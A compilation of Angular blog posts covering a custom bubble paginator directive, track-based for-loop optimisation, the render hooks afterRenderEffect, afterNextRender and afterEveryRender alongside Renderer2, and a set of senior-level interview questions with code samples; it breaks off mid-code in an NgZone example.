What is great about the effect, is that, it will re-execute when length (size) of the elements change, so for example if you have one table, but doing server-side data filtering, then each time new data arrives, bubbles will be recalculated due to paginationSize signal input. The brief overview is described below.

paginationSize - listen on page size changes (on new data) to recalculate bubbles
removeButtons() – clear previous custom DOM (if re-running)
styleDefaultPagination() – hide certain default Material bits and position labels
createBubbleDivRef() – create a container where our bubbles will live
buildButtons() – create bubbles + dots based on total length and page size
switchPage(0) – start from page 0 to keep things predictable

You may also ask, why we use afterRenderEffect instead of effect ? The reason is that afterRenderEffect is executed only in the browser, but effect also runs on the server side. It could lead to some errors if your app supports SSR. For a deeper explanation, check out my afterRenderEffect, afterNextRender, afterEveryRender & Renderer2 article.

Core Logic Execution - Switching Page Manually

The custom bubbles live outside Angular Material’s built-in controls. That means when a user clicks a bubble, nothing in MatPaginator fires by itself, we have to connect the click to the paginator so the table (and anyone subscribed to matPag.page) reacts, hence the need for switchPage() function.

private createButton(index: number): HTMLElement {
  // our unique bubble showing a specific page - 1, 2, etc.
  const bubbleButton = this.ren.createElement('div');

  // ... some code ...

  this.ren.listen(bubbleButton, 'click', () => {
    this.switchPage(index);
  });

  // ... some code ...
}

private switchPage(index: number): void {
  if (!this.matPag) {
    return;
  }

  const previousPageIndex = this.matPag.pageIndex;

  // switch page index of mat paginator
  this.matPag.pageIndex = index;

  // change active button styles
  this.changeActiveButtonStyles(previousPageIndex, this.matPag.pageIndex);

  // trigger page event manually, we are changing pageIndex programmatically
  this.matPag.page.emit({
    pageIndex: index,
    pageSize: this.matPag.pageSize,
    length: this.matPag.length,
    previousPageIndex: previousPageIndex,
  });
}

The key part of is this.matPag.pageIndex = index;, keeping the paginator’s internal state in sync with witch bubble was clicked. If you were to remove this line, the pagination would stop working.

Next, since we are programmatically changing the index of the paginator (mentioned above), when you navigate though the items in the table, the this.matPag.page will not emit by itself, therefore we also need to manually emit this data.

Paginator Style Updates

Inside styleDefaultPagination, you can see we’re directly accessing the paginator’s internal HTML elements to restyle them. Is this ideal? Probably not. Since it relies on exact class selectors like button.mat-mdc-paginator-navigation-next, it’s fragile. These internal selectors can change between Material versions.

This already happened when Material v15 introduced the new MDC components, which broke custom styling for many projects using ::ng-deep. What we’re doing here is a similar kind of hack, but for our use case it’s the most practical solution available. Still, it’s worth being aware of the tradeoff.

Custom Styles

Once the logic is done, we still need some styling to make it actually look like bubbles. This part is mostly CSS (or SCSS), and you can adjust it to fit your own theme. In my example, each bubble is a simple flex container with centered text, a hover state, and an active state to highlight the current page.

/* Custom paginator styles */
.g-bubble-container {
  display: flex;
  gap: 4px;
}

.g-bubble {
  background-color: #f0f0f0;
  border-radius: 50%;
  width: 34px;
  height: 34px;
  display: flex;
  align-items: center;
  justify-content: center;
  color: #2e2e2e;
  font-size: 14px;
  cursor: pointer;
  transition: 0.3s;

  &:hover {
    background-color: #636363;
    color: orange;
  }
}

.g-bubble__active {
  background-color: #636363;
  color: orange;
}

mat-paginator {
  background: transparent !important;
  /* need mat-paginator range to align with other mat-table elements */
  position: relative;
}

/* override alignment for the labels that shows "x of y" */
.mat-mdc-paginator-range-label {
  margin: 0 !important;
}

Things to Keep in Mind

There are a few small details that are good to keep in mind:

Renderer2 limitations - you can’t directly use pseudo-classes (::before, ::after) from within the directive, keep your visual parts inside SCSS files
Changing Angular Material internals - as mentioned earlier, mat-mdc- selectors can change in future Material versions, it’s one of the risks of this directive
Accessibility (a11y) - since these are custom clickable divs, you might want to add role="button" and tabindex="0" attributes so users can navigate the bubbles with a keyboard. You can also listen for keydown events and simulate click behavior with the space or enter key
SSR / Hydration - if you’re running Angular SSR, the directive should still work fine, since Renderer2 is SSR safe and we are using afterRenderEffect to render bubbles only on the client-side
Active Button State - currently when we load more data into the table and re-execute the logic of rendering bubbles, we go back to the first page, so no active state was implemented yet
Important input [appBubblePaginationLength] to bound the table length. Without it, the afterRenderEffect will not be notified that new data have arrived and buttons will not be rebuilt

Summary

By the end of this post, you should have a working, MDC compatible paginator. The goal here wasn’t to replace Angular Material, but to show how far you can go using directives + Renderer2, to enhance an existing Material component, without creating your own custom paginator from scratch.

Of course there may be some room for improvement, it is still a simple directive, so if you have any suggestions, feel free to comment. Hope you liked this example, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

Angular - For Loop Optimizations

Eduard Krivanek — Thu, 02 Oct 2025 17:58:46 +0000

In my recent article about Senior Angular Interview Questions, I mentioned a section about optimizing forloops with the trackmethod. However, I also pointed out that the choice of value you use for tracking really matters. Even if you add track, it might not actually make your rendering more performant if used incorrectly. This article expands on that section with additional explanation and examples.

The track function is a useful performance optimization that was often overlooked with the old *ngFor="let item of items" syntax. Fortunately, the new control flow @for() now requires you to specify a track function, which encourages better practices.

So, why is it important? Imagine you have a component that makes an API call to fetch a list of items, list of users, and displays them in the template. You also have a “reload” button to refetch this data (in case something has changed on the backend). Below is an example using the older *ngFor syntax to illustrate the issue:

@Component({
  selector: 'app-child',
  imports: [NgForOf],
  template: ` 
    <button (click)="onRerun()">re run</button>

    <div *ngFor="let item of items()">
        {{item.name}}
    </div>
`
})
export class ChildComponent {
  items = signal<{ id: string; name: string }[]>([]);

  onRerun() {
    // "fake api call" to reload data
    this.items.set([{id: '100', name: 'Item 1'}, /* ... */ ]);
  }
}

In this setup, every time onRerun() is triggered and the array is updated (even with the same content), Angular will re-render all elements in the DOM. That's because it can't tell which items stayed the same and why didn't. It result to performance loss and UI flickering, especially in long or complex lists. To prevent this, you use a trackBy function:

@Component({
  selector: 'app-child',
  imports: [CommonModule],
  template: ` 
    <ng-container *ngFor="let item of items(); trackBy: identify">
        <!-- previous code -->
    </ng-container>
`
})
export class ChildComponent {
  // ... previous code

  identify(index: number, item: { id: string }): string | number {
    return item.id;
  }
}

This tells Angular how to uniquely identify items in the array, commonly via an id. With a trackBy function (or track key in @for()), Angular can associate each item with its corresponding DOM element. When the data is reloaded, Angular compares these keys (not full object references), allowing unchanged items to be preserved in the DOM.

Why does this matter? Because DOM operations are expensive. Without proper tracking, Angular discards and recreates DOM elements for every item, even if the data hasn't changed. With tracking, the DOM elements stay in place, and Angular only updates bindings when necessary.

On the GIF below, the top list uses trackBy: identify while the second one does not. You can see the difference. The top list preserves DOM elements during data reload, whereas the second recreates them entirely each time.

With the new @for() syntax, Angular enforces the use of a track key for the same purpose. However, two common mistakes still happen:

Using the object itself as the key - example: @for (item of items(); track item). This does not work as expected because the reference to each item changes on every reload, even if the data is identical and it will re-render the UI every time, basically ignoring the track function.
Using $index as the key - example: @for (item of items(); track $index). This causes problems when an item is removed. Suppose you delete the 5th item in a list of 10, then every item after index 4 now has a new index, forcing Angular to re-render them all unnecessarily. In stateful components like forms, this leads to loss of input focus or cursor position, however using the $index is okay for static lists.

Here's a comparison: the top row uses track item.id, and the second uses track $index. Watch how the first preserves DOM elements during removal. Here is a stackblitz example to play with.

If you’re rendering a static list of rows in a table, or a fixed ordered list that never changes its order or size, tracking by $index works because the identity of each item will never shift. In these scenarios, you don’t risk losing focus, cursor position, or component state since nothing is being reordered or removed. Use $index only for completely static, non-interactive lists. For anything dynamic or stateful, always track by a stable identifier like id.

A great example where proper tracking really matters is an infinite scroll or chat application. Imagine you’re building a chat window. As new messages arrive, they’re pushed into the list, and when you scroll up, older messages are loaded from the server.

If you don’t use a proper track key (like message.id), Angular will re-render the entire list whenever new data is appended. That means the scroll position jumps, the user loses their place, and any ongoing animations are lost.

Using an unique key for tracking (like ID), Angular reuses the existing DOM nodes for older messages and only creates DOM nodes for the new ones. This preserves scroll position, keeps animations smooth, and makes the whole app feel more stable and responsive. On the following example you see an incorrect usage of for loop, using the $index for tracking and every time a new message comes, the whole list is re-rendered.

@Component({
  selector: 'app-chat',
  standalone: true,
  template: `
     @for(msg of messages(); track $index){
         <div>
           { msg.user }}: {{ msg.text }}
         </div>
     }

    <button (click)="loadOlder()">Load older</button>
  `,
})
export class ChatComponent {
  readonly messages = signal([
    { id: 1, user: 'Alice', text: 'Hello' },
    { id: 2, user: 'Bob', text: 'Hi' },
  ]);

  loadOlder() {
    const older = [
      { id: 0, user: 'System', text: `Message: ${this.messages().length}` },
    ];
    this.messages.set([...older, ...this.messages()]);
  }
}

Hope you liked the article, feel free to share your thoughts, catch more of my articles on So fail. Then fail better. And maybe one day, you'll be writing blog posts like this, after you've finished crying over your failed side project. Hope you liked these short stories. Feel free to share your thoughts, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

afterRenderEffect, afterNextRender, afterEveryRender & Renderer2

Eduard Krivanek — Tue, 16 Sep 2025 18:13:05 +0000

Recently I’ve been playing around with some Angular functionalities, which are: effect, afterRenderEffect, afterNextRender, afterEveryRender and Renderer2. You don’t see them used much compared to signals or computed. Maybe only effect is more common, however how and when to use the rest?

I wanted to write about them because I kept mixing them up myself, therefore this post is as much for me as for anyone else. I want to touch on each of them, look at some examples, how they differ, and also check how they behave with SSR. The article was originally posted on Angular Spaces.

Using `effect`

The effect() will run at least once and then every time the dependency signal (or multiple one) changes. A shameless plug to my Senior Angular Interview Questions, I talked about the diamond problem in RxJS and how it’s not present in signals. Meaning if you have an effect with multiple signal dependencies and you update those signal, one after another, then the effect will still run only once, since signals are synchronous compared to Observables which are asynchronous and the logic could be re-executed multiple times, causing side-effects.

Use effect when you want to bridge the gap between a reactive state (signals) and a non-reactive execution. Use cases which you hear many times are mainly DOM updates, logging, or even executing a fetch() API call to the server. Other less common examples may be for example local storage updates, analytics tracking, chart data updates or setting loading state.

// state of the used theme
readonly theme = signal<'light' | 'dark'>('light');

// track what page we are on
readonly currentPage = signal('home');

// data to render a chart
readonly chartData = signal([1, 2, 3]);

// loading state of the app
readonly loading = signal(false);

constructor() {
  effect(() => {
    // change theme & save it
    document.body.dataset.theme = this.theme();
    localStorage.setItem('theme', this.theme());
  });

  effect(() => {
    // sends data to a 3rd party
    analytics.trackPage(this.currentPage());
  });

  effect(() => {
    // updates values in the chart
    updateChart(this.chartData());
  });

  effect(() => {
    // dependency to listen to
    const chartData = this.chartData();

    untracked(() => {
        this.loading.set(true);
    })
  })
}

When it comes to SSR, you have to be a bit careful with effect(). It also runs on the server, at least once (even if dependencies are undefined), and then all the time when its dependencies change. An empty effect is also executed: effect(() => console.log('Empty effect'));

In SSR you don’t actually have a browser, so there’s no window, document, or localStorage. If you drop DOM calls or browser APIs directly into an effect, it’ll throw during the server render. The trick is to only use effect() on the server for things that are safe in a Node environment. Anything that touches the DOM should be wrapped in something like isPlatformBrowser or pushed into afterRenderEffect, which runs only in the browser after Angular has finished painting.

Another point worth highlighting is cleanup function - EffectCleanupRegisterFn. Just like in RxJS where you unsubscribe from a stream, effect() also gives you a way to tear things down when the effect is destroyed. This is helpful when wiring up elements like event listeners, intervals, or external libraries that require explicit cleanup.

It's the first available argument in the effect() function. There is no naming convention, it will work with any name, but most developers call it onCleanup(). Use it inside your effect to make sure you don’t leak memory or leave hanging listeners when the component goes away. It’s easy to forget, but in larger apps, this can save you from nasty performance issues.

@Component({
  selector: 'app-resize-listener',
  template: `
    <p>Window width: {{ width() }}</p>
  `
})
export class ResizeListenerComponent {
  // reactive signal that stores the current width
  readonly width = signal(window.innerWidth);

  constructor() {
    effect((onCleanup) => {
      const updateWidth = () => this.width.set(window.innerWidth);
      window.addEventListener('resize', updateWidth);

      // cleanup when effect is destroyed
      onCleanup(() => {
        window.removeEventListener('resize', updateWidth);
      });
    });
  }
}

Using `afterRenderEffect`

The afterRenderEffect is more preferable for DOM updates, browser APIs, or integrations that don’t make sense on the server (like canvas drawing, chart rendering, or measuring element sizes). It is executed after Angular has painted the view in the browser. From the first examples, you could say that updating data in charts is better suited for the afterRenderEffect since we are performing a DOM update.

When you open up the documentation for this function, Angular team highlights that “You should prefer specifying an explicit phase for the effect instead, or you risk significant performance degradation.”

In real life, you may have an example of displaying a PDF file to an user and you want to track (in percentage) how far he has scrolled in the document. One of the (many) ways how to achieve this behavior is the following:

@Component({
  selector: 'app-root',
  template: `
    <div #divTop style="height: 20px; position: sticky; top: 0"></div>

    <div #divRef style="height: 400px; overflow: scroll">
      <!-- this is the PDF -->
      <div style="height: 3000px; background: red"></div>
    </div>
  `,
})
export class App {
  readonly divRef = viewChild<ElementRef<HTMLDivElement>>('divRef');
  readonly divTop = viewChild<ElementRef<HTMLDivElement>>('divTop');

  readonly scrollPercentage = toSignal(
    toObservable(this.divRef).pipe(
      filter((el) => !!el),
      switchMap((el) =>
        fromEvent(el.nativeElement, 'scroll').pipe(
          map(() => {            
            const scrollHeight = divRef.nativeElement.scrollHeight ?? 1;
            const clientHeight = divRef.nativeElement.clientHeight ?? 1;
            const scrollTop = divRef.nativeElement.scrollTop ?? 0;

            const scrolled = Math.round(
                (scrollTop / (scrollHeight - clientHeight)) * 100
            );

            return scrolled;
          })
        )
      )
    ),
    { initialValue: 0 }
  );

  constructor() {
    afterRenderEffect({
      // creating dependency on the scroll signal
      earlyRead: () => this.scrollPercentage(),
      // write to DOM every time scrollPercentage emits
      write: (val, cleanUp) => {
        const divTop = this.divTop();
        if (!divTop) {
          return;
        }

        divTop.nativeElement.innerText = `Scroll: ${val()}%`;
      },
    });
  }
}

In the above example, the afterRenderEffect is triggered once the browser finishes painting the DOM element. It then uses the earlyRead callback to register the scrollPercentage signal dependency. Every time scrollPercentage emits (as you scroll), the write phase is triggered to update the DOM.

Of course you can achieve this exact result without using the afterRenderEffect and just directly interpolating the scrollPercentage signal in the HTML ({{ scrollPercentage() }}).

The documentation about afterRenderEffect also talks about the read optionality, so what’s the difference?

Use earlyRead when you want to read the DOM before any writes happen. Angular runs the earlyRead callback first, so you can grab measurements (width, height, etc.), before any DOM updates, and pass that information to the write phase.
Use read when Angular has applied all styles in the write phase, as this one runs after it. It’s good when you want to read some correct measurements after all UI changes, but you can not pass those values back to the write phase. Only earlyRead allows passing values to the write operation.

You also have the option to use the mixedReadWrite phase, which allows you to read and subsequently write data to the DOM; however, Angular recommends avoiding it and using the previously described ones. The phase order:

earlyRead
write
mixedReadWrite
read

One other great resource I’ve found is from Code Shots With Profanis - Get to Know the AfterRenderEffect hook in Angular. I do recommend checking out his explanation on this topic.

From my understanding, when you only use client-side rendering and you ignore the phases in afterRenderEffect, then it behaves the same as effect. My above example with the scroll can also be achieved by the following:

  constructor() {
    // example 1
    afterRenderEffect(() => {
      const val = this.scrollPercentage();
      const divTop = this.divTop();

      divTop.nativeElement.innerText = `Scroll: ${val}%`;
    });

    // example 2
    effect(() => {
      const val = this.scrollPercentage();
      const divTop = this.divTop();

      divTop.nativeElement.innerText = `Scroll: ${val}%`;
    });
  }

NOTE: However, not utilizing the rendering phases, you are risking layout thrashing. It happens when the browser is forced to repeatedly recalculate the layout, because your code is reading from and writing to the DOM in an uncoordinated way, creating a so called loop. By separating earlyRead (all reads) from write (all writes), Angular batches DOM reads before any writes happen. This avoids any unexpected looping behavior.

Using `afterNextRender` and `afterEveryRender`

The documentation about these two function says that: “we can register a render callback to be invoked after Angular has finished rendering all components on the page into the DOM.”. The idea is the following:

afterNextRender runs only once after Angular paints the view for the first time
afterEveryRender runs after every render cycle, like a subscription to render events

If we were to compare these two functions to a life cycle hook, the closest (in behavior) we would get is afterNextRender to ngAfterViewInit and afterEveryRender to ngAfterViewChecked, as afterEveryRender runs every time a tick() re-renders something dirty. Compared to life cycle hooks, afterNextRender and afterEveryRender only run on the client side, whereas life cycle hooks are also triggered on SSR.

The other difference is that the hooks are scoped at the component level, while afterNextRender and afterEveryRender are scoped to the rendering of the whole app (the page we are looking at). Angular’s team also provides a simple diagram to better understand the execution order.

Understanding afterNextRender is a bit simpler, since it is executed only once, after DOM has been painted. You can put logic from ngOnInit into it, as afterNextRender is called inside the constructor. You can render data into charts once, or focus on an empty input element:

@Component({
  selector: 'app-root',
  template: `
     <input #input placeholder="first" value="Test1" />
     <input #input placeholder="second" />
     <input #input placeholder="third" />
  `,
})
export class App {
  readonly inputs = viewChildren<ElementRef<HTMLInputElement>>('input');

  constructor() {
    afterNextRender(() => {
      const inputs = this.inputs();
      const firstEmpty = inputs.find((d) => d.nativeElement.value == '');

      // this will focus on the 'second' input
      firstEmpty?.nativeElement?.focus();
    });
  }
}

Using afterEveryRender is, at least for my understanding, used for less common use cases. The question is: when do we actually need to execute some code after every rendering cycle? One example is the' onStable' method of ZoneJS. The onStable method is triggered every time a change detection occurs, and as we move toward zoneless applications, you can copy onStable logic into afterEveryRender, which will result in the same behavior. See the following code and GIF for a demonstration.

@Component({
  selector: 'app-resize-listener',
  standalone: true,
  template: `
    <button (click)="onClick1()">Empty Button</button>
    <button (click)="onClick2()">Text Button</button>

    <p>Text: {{ text() }}</p>
  `,
})
export class ResizeListenerComponent {
  private readonly ngZone = inject(NgZone);

  readonly text = signal('');

  constructor() {
    this.ngZone.onStable
      .asObservable()
      .subscribe((e) => console.log('ZoneJs - triggered'));

    afterEveryRender(() => {
      console.log('afterEveryRender - triggered');
    });
  }

  onClick1() {}

  onClick2() {
    this.text.update((prev) => `${prev}K`);
  }
}

In theory I could rewrite my first example with scroll value from Observables into afterEveryRender and it would work the same way:

@Component({
  selector: 'app-root',
  template: `
    <div #divTop style="height: 20px; position: sticky; top: 0"></div>

    <div #divRef style="height: 400px; overflow: scroll;">
      <div style="height: 3000px; background: red"></div>
    </div>
  `,
})
export class App {
  readonly divTop = viewChild<ElementRef<HTMLDivElement>>('divTop');
  readonly divRef = viewChild<ElementRef<HTMLDivElement>>('divRef');

  constructor() {
    afterEveryRender({
      earlyRead: () => ({
        divRef: this.divRef(),
        divTop: this.divTop(),
      }),
      write: (elements) => {
        const { divRef, divTop } = elements;
        if (!divTop || !divRef) {
          return;
        }

        const scrollHeight = divRef.nativeElement.scrollHeight ?? 1;
        const clientHeight = divRef.nativeElement.clientHeight ?? 1;
        const scrollTop = divRef.nativeElement.scrollTop ?? 0;

        const scrolled = Math.round(
          (scrollTop / (scrollHeight - clientHeight)) * 100
        );

        divTop.nativeElement.innerText = `Scroll: ${scrolled}%`;
      },
    });
  }
}

One question I was wondering about is whether to use afterEveryRender or maybe reach out to Renderer2 and apply listeners? The example with scroll percentage could be adjusted to use Renderer2 as follows:

@Component({
  selector: 'app-scroll-tracker',
  standalone: true,
  template: `
    <p>Scroll: {{ scrollPercent() }}%</p>

    <div #divRef style="height: 200px; overflow-y: scroll;">
      <div style="height: 1000px; background: lightblue"></div>
    </div>
  `,
})
export class ScrollTrackerComponent {
  private readonly renderer = inject(Renderer2);
  private readonly destroyRef = inject(DestroyRef);

  readonly divRef = viewChild<ElementRef<HTMLDivElement>>('divRef');
  readonly scrollPercent = signal(0);

  // reference to the listener to destroy it with the component
  private removeListener?: () => void;

  constructor() {
    afterNextRender({
      earlyRead: () => this.divRef()?.nativeElement,
      write: (box) => {
        if (!box) {
          return;
        }

        this.removeListener = this.renderer.listen(box, 'scroll', () => {
          const percent = Math.round(
            (box.scrollTop / (box.scrollHeight - box.clientHeight)) * 100
          );
          this.scrollPercent.set(percent);
        });
      },
    });

    // destroy listener with the component
    this.destroyRef.onDestroy(() => {
      this.removeListener?.();
    });
  }
}

Seems like there is always more than one solution for a problem. My understanding on the difference between these two is that:

Renderer2 is used when we want to attach some listeners or render on the DOM
afterEveryRender is used when we want to fire a callback once DOM painting is done

When is comes to the scroll example, the Renderer example makes more sense, since we track the scroll position (an event based behavior), however if we were want to scroll to the bottom of the page every time a new information is presented on the screen, in that case, afterEveryRender would be a more preferable option.

Summary

All in all, these tools don’t replace each other, but complement different needs. If your logic is purely reactive state, reach for effect. If it depends on the DOM, use afterRenderEffect. For one-time DOM adjustments after the first paint, use afterNextRender. If your logic needs to be executed on every DOM re-render, use afterEveryRender. Finally, Renderer2 is a universal way to attach listeners and manipulate the DOM without risking SSR crashes.

Hope you liked the article and I was able to provide some explanation on these functions. They were causing some confusion, at least for me, hence I decided to go deeper with them and try to explain them with my own words. Feel free to share your thoughts, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

Senior Angular Interview Questions

Eduard Krivanek — Tue, 29 Jul 2025 11:17:39 +0000

Lately, I've been interviewing candidates for a Senior Angular Developer role, and I've ended up rejecting the majority of them. Am I a jerk for that? Maybe. But here's what I've realized from these interviews: we live in a bubble. The article was initially published on Angular Spaces.

Most of us spend our day-to-day work calling APIs, caching data, and displaying it to users. We do this for years, and it leads us to believe we've mastered frontend development, especially a framework like Angular.

With this article, I want to walk through some of the technical questions I like to ask during interviews, all while exploring a deeper thought: "Am I really a senior developer, or do I just think I am?"

Before diving into the questions and sample answers, there's a broader discussion worth mentioning: Who's more valuable - a generalist or a specialist?

Someone who's worked across many domains (CI/CD, backend, databases, frontend, etc.), or someone who's deeply specialized in a single technology and only has surface level knowledge of the rest? That's a question only the interviewer can answer, based on the needs of the team. In my case, I was always looking for a specialist, hence following list of Angular focused interview questions. Finally, this is my personal list, feel free to critique or customize it for your own hiring process.

General Questions:
- What does it mean to be a senior developer ?
- Do you prefer declarative or imperative programming?
- Would you use a state management library or a custom implementation?
Angular Questions - General:
- How would you achieve a parent - child component communication ?
- What is the role of NgZone in Angular, and when would you opt out of Angular's change detection?
- What is and when to use an Injection Token ?
- What are resolution modifiers and how to use them ?
- Why would you use a track function in a for-loop and how it works ?
- What is the the difference between providers and viewProviders ? Can you provide an example when to use either of them ?
- Why pipes are considered safe in a template, but regular function calls (not signals) are not ?
Angular Questions - Signals:
- How would you convince your team to migrate a project from Observables to signals ?
- Can you explain the diamond problem in Observables and why it doesn't occur with signals?
- When to use effect and untracked in a signal based application ?
- Are life-cycle hooks still needed in a fully signal based application ?
Angular Questions - RxJS:
- What is a higher-order observable and how they differ ?
- What is the difference between share() and shareReplay() ?
- What does this code do ? - scan() + expand()

General Questions

These are my go to questions at the very start of the interview process. There are no right or wrong answers here, what I'm really interested in is the developer's personality and thinking style. After all, this is someone who will be working closely with me and the rest of the team, and ideally, we want people who share a similar mindset or programming philosophy.

What does it mean to be a senior developer ?

This question helps me understand how I should approach the person I'm interviewing. As I mentioned earlier, there's often a pendulum swing between being a generalist and a specialist, so I like to hear how the candidate defines a senior developer. Most answers I get sound something like:

"Understanding the framework (Angular) very well and mentoring junior developers."

That's a pretty standard response, and I usually follow it up with:

"Alright, so if a senior should know the framework really well, is it okay for me to ask hard questions and expect you will be able to provide answers for them?"

What I'm really trying to grasp is how the candidate sees themselves, whether they feel they've reached a senior level and whether they've dealt with complex, challenging problems. This way, we set some expectations for the interview process, not defined by me, but by the candidate themselves.

Personally, I have a slightly broader view of what makes someone a senior developer. Yes, you should understand the framework well, but I'd also expect you to:

Initiate and lead technical improvements, like addressing tech debt, and be able to pitch those ideas to higher ups.
Push back (respectfully) on product or feature decisions that don't make sense or may harm long-term goals of the product.
Know how to give and receive feedback during code reviews.
Recognize when to Google something, when to ask a peer, and when it's worth gathering a few people for a brainstorming session.
Care about the product and collaborate closely with product owners.

Do you prefer declarative or imperative programming?

You might say this is a theoretical question, and it is, but I like to ask it because it reveals how candidates think about code structure and maintainability. Most candidates respond with, “I don't know the difference”.

If you Google this question, you'll see something like: “Declarative programming focuses on what needs to be done, while imperative programming focuses on how to do it”.

In Angular terms, here's one way to think about it. Imperative programming involves mutating variables in multiple places, often with manual logic to track side effects. Declarative programming, by contrast, involves defining a value or behavior in one place, often through computed, signal, or RxJS streams. I highly recommend checking out Joshua Morony's video on this topic. Here is a coding example:

// Imperative Programming
@Component({ template: ` ... ` })
export class ChildComponent {
  private readonly wsService = inject(WsService);
  private readonly apiService = inject(ApiService);

  displayedData = signal<string[]>([]);

  constructor(){
    // load existing data
    this.apiService.existingData$.subscribe((data: string[]) => {
      this.displayedData.set(data);
    });

    // listen on WS new data push
    this.wsService.newData$.subscribe((data: string) => {
      this.displayedData.update((current) => [...current, data]);
    });
  }
}

// Declarative Programming
@Component({ template: ` ... ` })
export class ChildComponent {
  private readonly wsService = inject(WsService);
  private readonly apiService = inject(ApiService);

  displayedData = toSignal(
    merge(this.apiService.existingData$, this.wsService.newData$).pipe(
      scan((acc: string[], curr: string) => [...acc, curr], [] as string[])
    ),
    { initialValue: [] });
}

The imperative version manually subscribes to two streams (existingData$ and newData$) and mutates the displayedData signal in separate steps. Each data source is handled independently, which can lead to duplicated logic and harder maintenance as complexity grows.

In contrast, the declarative version merges both streams and uses scan to build up the displayedData in a single, unified expression. It avoids manual subscriptions and keeps logic in one place. This makes the code more predictable, easier to test, and less errors. Overall, the declarative approach describes what should happen, while the imperative one controls how it happens.

Would you use a state management library or a custom implementation?

The question is designed to brainstorm with the candidate. Some developers lean toward libraries like NgRx, Akita, or NGXS, while others prefer simpler, custom built state solutions using services, RxJS or signals. Both approaches are valid. What I'm really curious about is whether the candidate can justify their choice, present some trade-offs, and mention potential drawbacks of the alternative.

A senior developer should articulate decisions clearly, even when their opinion differs from their peers or contradicts the tech stack we are currently using. The provided answer will not change how I look at the candidate, I just want to see how can they argue toward one solution they see fit.

Angular Questions - General

How would you achieve a parent - child component communication ?

A simple question with a catch. Most candidates mention @Input()/@Output() bindings, or using a shared service with a Subject or a signal for communication.

// Input/Output example
@Component({ selector: 'app-child', template: ` ... ` })
export class ChildComponent<T> {
  cSelected = output<T>();
  cData = input<T[]>();
}

@Component({
  imports: [ChildComponent],
  template: `<app-child [cData]="pData()" (cSelected)="pSelected.set($event)" />`
})
export class ParentComponent {
  pData = signal<string[]>(['a', 'b', 'c']);
  pSelected = signal<string>('');
}

// Shared Service example
@Injectable({ providedIn: 'root' })
export class SharedService<T> {
  store = signal<T | undefined>(undefined);
}

@Component({ selector: 'app-child', template: ` ... ` })
export class ChildComponent {
  service = inject(SharedService<string[]>);

  onPushData(){
    this.service.store.set(['a', 'b', 'c']);
  }
}

@Component({ imports: [ChildComponent], template: `<app-child />` })
export class ParentComponent {
  storedData = inject(SharedService<string[]>).store
}

These are valid answers, but not enough for a senior level developer. I expect to also hear about:

Custom two-way binding
Model inputs
Control Value Accessor

Custom two-way binding is achieved when the child component has an input and an output with the same property name, but the output uses the Change suffix. This syntax enables the “banana-in-a-box” [(data)] binding in the template. When the child emits a value via cDataChange.emit('something'), it directly updates the parent's pData signal or property.

@Component({ selector: 'app-child', template: ` ... ` })
export class ChildComponent {
  cData = input<string>('');
  cDataChange = output<string>();

  onDataChange(){
    this.cDataChange.emit('something');
  }
}

@Component({ 
    imports: [ChildComponent], 
    template: `<app-child [(cData)]="pData" />`
})
export class ParentComponent {
  pData = signal('Hello World');
}

Model inputs offer syntactic sugar over manual two-way binding. Instead of defining two separate properties (@Input and @Output) and emitting values manually, you can use model() to bind once and let Angular handle the rest. The model() binding works both with signals and non signal properties passed from the parent.

A common use case is within custom form controls. This is not yet a signal form example, but so far the closest we can get. Inside a child component, we display an input (custom input, maybe with some specific functionality), and whenever the user types something, the ngModel emits the data into cData , and since it's a model(), it will once again emit the data to the parent pData.

@Component({
  selector: 'app-child',
  imports: [FormsModule],
  template: `<input [(ngModel)]="cData" />  `
})
export class ChildComponent {
  cData = model<string>('');
}

@Component({
  imports: [ChildComponent],
  template: `<app-child [(cData)]="pData" />`,
})
export class ParentComponent {
  pData = signal('Hello World');
}

Control Value Accessor (CVA) is ideal when the child component acts as a custom form control. Implementing ControlValueAccessor allows the component to integrate with Angular's forms APIs, either reactive or template-driven.

I mostly use control value accessor when creating reusable component in a UI library or when the child is something like a custom search-select component. Imagine searching for goods in an amazon like webapp, that when you type a good's prefix, it makes an API call, and then you have a dropdown of possible options.

@Component({
  selector: 'app-custom-input',
  imports: [FormsModule],
  template: `<input [ngModel]="value" (ngModelChange)="onInput($event)"/>`,
  providers: [{
    provide: NG_VALUE_ACCESSOR,
    useExisting: forwardRef(() => CustomInputComponent),
    multi: true
  }]
})
export class CustomInputComponent implements ControlValueAccessor {
  value = '';

  // callbacks for the ControlValueAccessor
  private onChange = (value: string) => {};
  private onTouched = () => {};

  // called when input changes
  onInput(value: string): void {
    this.value = value;
    this.onChange(this.value);   // propagate change
    this.onTouched();            // mark as touched
  }

  // required from ControlValueAccessor 
  writeValue(value: string): void {
    this.value = value;
  }

  // required from ControlValueAccessor 
  registerOnChange(fn: (value: string) => void): void {
    this.onChange = fn;
  }

  // required from ControlValueAccessor 
  registerOnTouched(fn: () => void): void {
    this.onTouched = fn;
  }
}

@Component({
  selector: 'app-parent',
  imports: [ReactiveFormsModule, CustomInputComponent],
  template: `
    <app-custom-input [formControl]="pDataControl" />
    <p>Parent value: {{ pDataControl.value }}</p>
  `
})
export class ParentComponent {
  pDataControl = new FormControl('Hello World');
}

Control Value Accessor looks more complicated and takes time to implement, especially when creating a complex custom part of the form, since it allows integrations with reactive or template driven forms.

Worth mentioning, that some candidates also bring up using viewChild() to reference the child component from parent, or using local storage or cookies to pass data, which are valid answers, but I would avoid these solutions in production.

What is the role of `NgZone` in Angular, and when would you opt out of Angular's change detection?

The answer on this question can really demonstrate the candidate skills and the level of projects he has work on. You rarely run code outside of Angular's change detection, you consider it when you run into performance issues.

NgZone is a wrapper around JavaScript's event loop that allows Angular to know when to trigger change detection. Angular patches async operations like setTimeout, Promise, XHR, etc. using zone.js, so when those operations complete, Angular automatically runs change detection to update the view. This occasionally leads into performance issues if you're running lots of non UI related or high frequency code (scroll, setInterval). In those cases, you can opt out of Angular's change detection using NgZone.runOutsideAngular(), and manually re-enter with NgZone.run() only if needed.

For a practical example, I include my blogpost - Simple User Event Tracker In Angular, where I setup some global listeners on button clicks, input or select changes. They do not impact UI bindings, and the code runs in the background, therefore we can run it outside Angular's change detection system. Other options where to reach it for this options include integrating with analytics, tracking, or 3rd-party scripts that are passive.

@Injectable({ providedIn: 'root' })
export class ListenerService {
  private trackerService = inject(TrackerService);
  private document = inject(DOCUMENT);
  private ngZone = inject(NgZone);

  constructor() {
